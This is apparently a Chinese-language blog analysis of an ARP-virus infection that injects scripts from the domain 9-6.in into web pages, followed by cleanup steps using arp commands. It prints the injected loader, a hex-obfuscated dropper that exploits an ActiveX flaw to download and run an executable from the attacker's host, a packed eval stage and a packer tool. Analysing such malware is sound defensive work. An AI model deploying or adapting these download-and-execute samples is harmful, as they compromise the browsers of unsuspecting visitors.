arp病毒利用的Javascript技术
本文的目的是探讨JS相关技术,并不是以杀毒为主要目的,杀毒只是为讲解一些JS做铺垫的,呵呵,文章有点长,倒杯咖啡或者清茶慢慢看,学习切勿急躁!
最近公司的网络中了这两天闹的很欢的ARP病毒,导致大家都无法上网,给工作带来了很大的不方便,在这里写下杀毒的过程,希望对大家能有帮助!
现象:
打开部分网页显示为乱码,好像是随机的行为,但是看似又不是,因为它一直在监视msn.com,呵呵,可能和微软有仇吧,继续查看源代码,发现头部有一个js文件链接----<script src=http://9-6.in/n.js></script>;
来源:
经过一番网络搜索,发现这个域名是印度域名,而IP地址却是美国的,而且域名的注册日期是7月25日,看来一切都是预谋好了的,还是不管这个了,先解决问题吧;
分析:
1、先把(http://9-6.in/n.js)这个JS文件下载下来,代码如下:
document.writeln("<script>window.onerror=function(){return true;}<\/script>");
document.writeln("<script src=\"http:\/\/9-6.in\/S368\/NewJs2.js\"><\/script>");
document.writeln("<script>");
document.writeln("function StartRun(){");
document.writeln("var Then = new Date() ");
document.writeln("Then.setTime(Then.getTime() + 24*60*60*1000)");
document.writeln("var cookieString = new String(document.cookie)");
document.writeln("var cookieHeader = \"Cookie1=\" ");
document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)");
document.writeln("if (beginPosition != -1){ ");
document.writeln("} else ");
document.writeln("{ document.cookie = \"Cookie1=POPWINDOS;expires=\"+ Then.toGMTString() ");
document.writeln("document.write(\'<iframe width=0 height=0 src=\"http:\/\/9-6.IN\/s368\/T368.htm\"><\/iframe>\');");
document.writeln("}");
document.writeln("}");
document.writeln("StartRun();");
document.writeln("<\/script>")
其中第一句window.onerror=function(){return true;}就先把JS错误屏蔽掉,真够狠的,呵呵,不这样怎么隐藏自己呢,哈哈!然后还有个JS文件 http://9-6.in/S368/NewJs2.js,先继续往下看,找到StartRun();运行一个函数,函数的主要作用是写COOKIE,日期为保存一天,然后还用隐藏框架加载了一个文件(http://9-6.IN/s368/T368.htm),其余就没有什么特别的了;
2、下载(http://9-6.in/S368/NewJs2.js)这个文件,代码如下:
StrInfo = "\x3c\x73\x63\x72\x69\x70\x74\x3e\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x65\x72\x72\x6f\x72\x3d\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x29\x7b\x72\x65\x74\x75\x72\x6e \x74\x72\x75\x65\x3b\x7d\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e" +"\n"+
"\x3c\x73\x63\x72\x69\x70\x74\x3e" +"\n"+
" \x44\x5a\x3d\'\\\x78\x36\x38\\\x78\x37\x34\\\x78\x37\x34\\\x78\x37\x30\\\x78\x33\x41\\\x78\x32\x46\\\x78\x32\x46\\\x78\x33\x39\\\x78\x32\x44\\\x78\x33\x36\\\x78\x32\x45\\\x78\x36\x39\\\x78\x36\x45\\\x78\x32\x46\\\x78\x35\x33\\\x78\x33\x33\\\x78\x33\x36\\\x78\x33\x38\\\x78\x32\x46\\\x78\x35\x33\\\x78\x33\x33\\\x78\x33\x36\\\x78\x33\x38\\\x78\x32\x45\\\x78\x36\x35\\\x78\x37\x38\\\x78\x36\x35\'\x3b" +"\n"+
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+
"\x66\x75\x6e\x63\x74\x69\x6f\x6e \x47\x6e\x4d\x73\x28\x6e\x29 " +"\n"+
"\x7b " +"\n"+
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"\x7d " +"\n"+
" \x74\x72\x79 " +"\n"+
"\x7b" +"\n"+
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" \x76\x61\x72 \x4b\x78\x3d\x42\x66\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\"\\\x78\x34\x44\\\x78\x36\x39\\\x78\x36\x33\\\x78\x37\x32\\\x78\x36\x46\\\x78\x37\x33\\\x78\x36\x46\\\x78\x36\x36\\\x78\x37\x34\\\x78\x32\x45\\\x78\x35\x38\"\x2b\"\\\x78\x34\x44\\\x78\x34\x43\\\x78\x34\x38\\\x78\x35\x34\\\x78\x35\x34\\\x78\x35\x30\"\x2c\"\"\x29\x3b" +"\n"+
" \x76\x61\x72 \x41\x53\x3d\x42\x66\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\"\\\x78\x34\x31\\\x78\x36\x34\\\x78\x36\x46\\\x78\x36\x34\\\x78\x36\x32\\\x78\x32\x45\\\x78\x35\x33\\\x78\x37\x34\\\x78\x37\x32\\\x78\x36\x35\\\x78\x36\x31\\\x78\x36\x44\"\x2c\"\"\x29\x3b" +"\n"+
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+
" \x41\x53\x2e\x74\x79\x70\x65\x3d\x31\x3b" +"\n"+
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+
" \x4b\x78\x2e\x6f\x70\x65\x6e\x28\"\\\x78\x34\x37\\\x78\x34\x35\\\x78\x35\x34\"\x2c \x44\x5a\x2c\x30\x29\x3b" +"\n"+
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+
" \x4b\x78\x2e\x73\x65\x6e\x64\x28\x29\x3b" +"\n"+
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+
" \x4e\x73\x31\x3d\x47\x6e\x4d\x73\x28\x39\x39\x39\x39\x29\x3b" +"\n"+
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+
" \x76\x61\x72 \x63\x46\x3d\x42\x66\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\"\\\x78\x35\x33\\\x78\x36\x33\\\x78\x37\x32\\\x78\x36\x39\\\x78\x37\x30\\\x78\x37\x34\\\x78\x36\x39\\\x78\x36\x45\\\x78\x36\x37\\\x78\x32\x45\\\x78\x34\x36\\\x78\x36\x39\\\x78\x36\x43\\\x78\x36\x35\\\x78\x35\x33\\\x78\x37\x39\\\x78\x37\x33\\\x78\x37\x34\\\x78\x36\x35\\\x78\x36\x44\\\x78\x34\x46\\\x78\x36\x32\\\x78\x36\x41\\\x78\x36\x35\\\x78\x36\x33\\\x78\x37\x34\"\x2c\"\"\x29\x3b" +"\n"+
" \x76\x61\x72 \x4e\x73\x54\x6d\x70\x3d\x63\x46\x2e\x47\x65\x74\x53\x70\x65\x63\x69\x61\x6c\x46\x6f\x6c\x64\x65\x72\x28\x30\x29\x3b \x4e\x73\x31\x3d \x63\x46\x2e\x42\x75\x69\x6c\x64\x50\x61\x74\x68\x28\x4e\x73\x54\x6d\x70\x2c\x4e\x73\x31\x29\x3b \x41\x53\x2e\x4f\x70\x65\x6e\x28\x29\x3b\x41\x53\x2e\x57\x72\x69\x74\x65\x28\x4b\x78\x2e\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79\x29\x3b" +"\n"+
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" \x6f\x6b\x31\x3d\x63\x46\x2e\x42\x75\x69\x6c\x64\x50\x61\x74\x68\x28\x4e\x73\x54\x6d\x70\x2b\'\\\x78\x35\x43\\\x78\x35\x43\\\x78\x37\x33\\\x78\x37\x39\\\x78\x37\x33\\\x78\x37\x34\\\x78\x36\x35\\\x78\x36\x44\\\x78\x33\x33\\\x78\x33\x32\'\x2c\'\\\x78\x36\x33\\\x78\x36\x44\\\x78\x36\x34\\\x78\x32\x45\\\x78\x36\x35\\\x78\x37\x38\\\x78\x36\x35\'\x29\x3b" +"\n"+
" \x71\x2e\x53\x48\x65\x4c\x4c\x45\x78\x65\x63\x75\x74\x65\x28\x6f\x6b\x31\x2c\'\\\x78\x32\x30\\\x78\x32\x46\\\x78\x36\x33 \'\x2b\x4e\x73\x31\x2c\"\"\x2c\"\\\x78\x36\x46\\\x78\x37\x30\\\x78\x36\x35\\\x78\x36\x45\"\x2c\x30\x29\x3b" +"\n"+
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+
"\x7d " +"\n"+
" \x63\x61\x74\x63\x68\x28\x4d\x73\x49\x29 \x7b \x4d\x73\x49\x3d\x31\x3b \x7d" +"\n"+
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+
"\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e"
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"](StrInfo);
这个代码有点长哦,而且有保护措施,全部转换为十六进制,不过不要害怕,我们有办法解决,首先得确保你已经安装了UE,然后打开UE,把代码粘贴进去(废话,呵呵),把\x替换为%,然后用html代码转换功能,解码,就可以得到第一次解码的代码,第一次???,呵呵,这个代码的作者很变态的,做了两次编码,所以我得进行两次解码才行,重复刚才的步骤,然后你就可以看到最终的“原始”代码了;
具体的代码我就不帖出来了,有一定的危害性,相信大家看了上面的步骤都能自己找到代码,这里之说一下比较核心的代码吧;
//核心代码
..............
" var Bf=document.createElement(\"\o\b\j\e\c\t\");" +"\n"+
" Bf.setAttribute(\"\c\l\a\s\s\i\d\",\"\c\l\s\i\d\:\B\D\9\6\C\5\5\6\-\6\5\A\3\-\1\1\D\0\-\9\8\3\A\-\0\0\C\0\4\F\C\2\9\E\3\6\");" +"\n"+
" var Kx=Bf.CreateObject(\"\M\i\c\r\o\s\o\f\t\.\X\"+\"\M\L\H\T\T\P\",\"\");" +"\n"+
" var AS=Bf.CreateObject(\"\A\d\o\d\b\.\S\t\r\e\a\m\",\"\");" +"\n"+
.............
" var cF=Bf.CreateObject(\"\S\c\r\i\p\t\i\n\g\.\F\i\l\e\S\y\s\t\e\m\O\b\j\e\c\t\",\"\");" +"\n"+
" var NsTmp=cF.GetSpecialFolder(0); Ns1= cF.BuildPath(NsTmp,Ns1); AS.Open();AS.Write(Kx.responseBody);" +"\n"+
" AS.SaveToFile(Ns1,2); AS.Close(); var q=Bf.CreateObject(\"\S\h\e\l\l\.\A\p\p\l\i\c\a\t\i\o\n\",\"\");" +"\n"+
" ok1=cF.BuildPath(NsTmp+\'\\\\\s\y\s\t\e\m\3\2\',\'\c\m\d\.\e\x\e\');" +"\n"+
" q.SHeLLExecute(ok1,\'\ \/\c \'+Ns1,\"\",\"\o\p\e\n\",0);" +"\n"+
..............
上面的就是最为核心的代码,利用MS0614漏洞、创建JS异步对象获取病毒(*.exe)文件,然后运行,这样就达到它的目的啦!
3、打开 http://9-6.IN/s368/T368.htm 查看源代码,又发现一段怪异的JS文件,如下:
<script>
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--)d[c.toString(a)]=k[c]||c.toString(a);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('x("\\0\\6\\9\\5\\i\\h\\j\\j\\4\\f\\8\\3\\2\\0\\7\\1\\i\\8\\2\\3\\h\\g\\4\\w\\v\\u\\t\\b\\s\\7\\r\\g\\4\\e\\f\\q\\8\\3\\2\\0\\7\\1\\e\\4\\d\\c\\d\\c\\p\\5\\3\\o\\n\\a\\6\\1\\b\\m\\2\\0\\1\\a\\l\\0\\6\\9\\5\\k")',34,34,'151|164|162|143|42|157|156|160|163|146|145|56|12|
15|76|74|134|75|40|11|51|50|167|155|165|144|57|147|152|70|66|63|123
|eval'.split('|'),0,{}))
</script>
可以看出这段代码也是经过加密的了,特征为function(p,a,c,k,e,d),这种加密方法网上有很多例子,我就不细说了,附上解密代码:
//以下代码为网上搜索所得,版权归原作者所有
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>无标题文档</title>
</head>
<body>
<script>
a=62;
function encode() {
var code = document.getElementById('code').value;
code = code.replace(/[\r\n]+/g, '');
code = code.replace(/'/g, "file://'/");
var tmp = code.match(/\b(\w+)\b/g);
tmp.sort();
var dict = [];
var i, t = '';
for(var i=0; i<tmp .length; i++) {
if(tmp[i] != t) dict.push(t = tmp[i]);
}
var len = dict.length;
var ch;
for(i=0; i<len; i++) {
ch = num(i);
code = code.replace(new RegExp('\\b'+dict[i]+'\\b','g'), ch);
if(ch == dict[i]) dict[i] = '';
}
document.getElementById('code').value = "eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c]);return p}("
+ "'"+code+"',"+a+","+len+",'"+ dict.join('|')+"'.split('|'),0,{}))";
}
function num(c) {
return(c<a ?'':num(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36));
}
function run() {
eval(document.getElementById('code').value);
}
function decode() {
var code = document.getElementById('code').value;
code = code.replace(/^eval/, '');
document.getElementById('code').value = eval(code);
}
</script>
<textarea id=code cols=80 rows=20>
</textarea><br />
<input type=button onclick=encode() value=编码/>
<input type=button onclick=run() value=执行/>
<input type=button onclick=decode() value=解码/>
</body>
</html>
经过解密后代码为:
info = "<script src=\"S368.jpg\"></script>"
document.write(info)
继续打开这个表面象图片的链接,呵呵,当然不会是MM图片了,查看源代码,找到如下代码:
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x31|x78|x6d|x70|x2c|x77|x79|var|x45|x3d|x30|x49|x7e|x54|x4f|x7a|
x58|x2F|x2b|return|x46|x3c|x6a|x52|x3a|x2E|x33|x6D|x2f|x7b|x7d|
function|assort_panel_enabled|pslcdkc|x47|x3e|x4c|x6E|x36|x38|x32|
null|try|new|ActiveXObject|catch|if|x57|x6b|106|x3A|x6B|x6F|x6C|x4d|
x44|x35|x4e|x5B|x5D|x71|x55'.split('|'),0,{}))
又是好长的代码,又发现了function(p,a,c,k,e,r),继续解码,代码很长,请大家自己解码查看吧,这里应用的还是上面的手法,用加密函数加密,然后转换为十六进制,尽最大努力混淆我们的视线,来达到不可告人的目的,这里的代码的主要作用是用另外一种方法下载病毒并运行,思想真的很先进,居然是去调用Web迅雷来下载病毒,然后去运行,作者真的是煞费苦心啊,应用了两种方法下载病毒,“小样,就不信毒不倒你!”,呵呵
杀毒:
说了半天只是分析了一下ARP病毒发作的时候在干什么,下面就说下关于杀毒的问题,其实现在网上有很多这方面的相关教程,我就简单总结一下我的杀毒过程吧;
- 中了arp病毒必须要先找到中毒的机器
- 给这个机器断网、杀毒
- 恢复局域网
其中第一步最关键了,如何才能找到呢?
在局域网随便一台客户机上打开网上邻居,查看工作组计算机,然后等到列表刷新出来后,迅速点击开始-->运行-->cmd-->arp -a回车,如果机器比较多,请多输入几次arp -a,然后仔细查看,你会发现有一台机器的Mac地址和网关的Mac地址相同,恭喜你,这就是那个毒源!
到这台机器的跟前(呵呵,废话真多),剩下的工作相信大家都有很多经验了吧
杀毒!装杀毒软件或者进安全模式更甚者重装机器,总之把病毒干掉就行了;
最后,到不能打开网页的机器上执行这个命令:点击开始-->运行-->cmd-->arp -d回车,然后就可以了。、
终于一切又恢复了平静,是不是很有成就感呢,呵呵!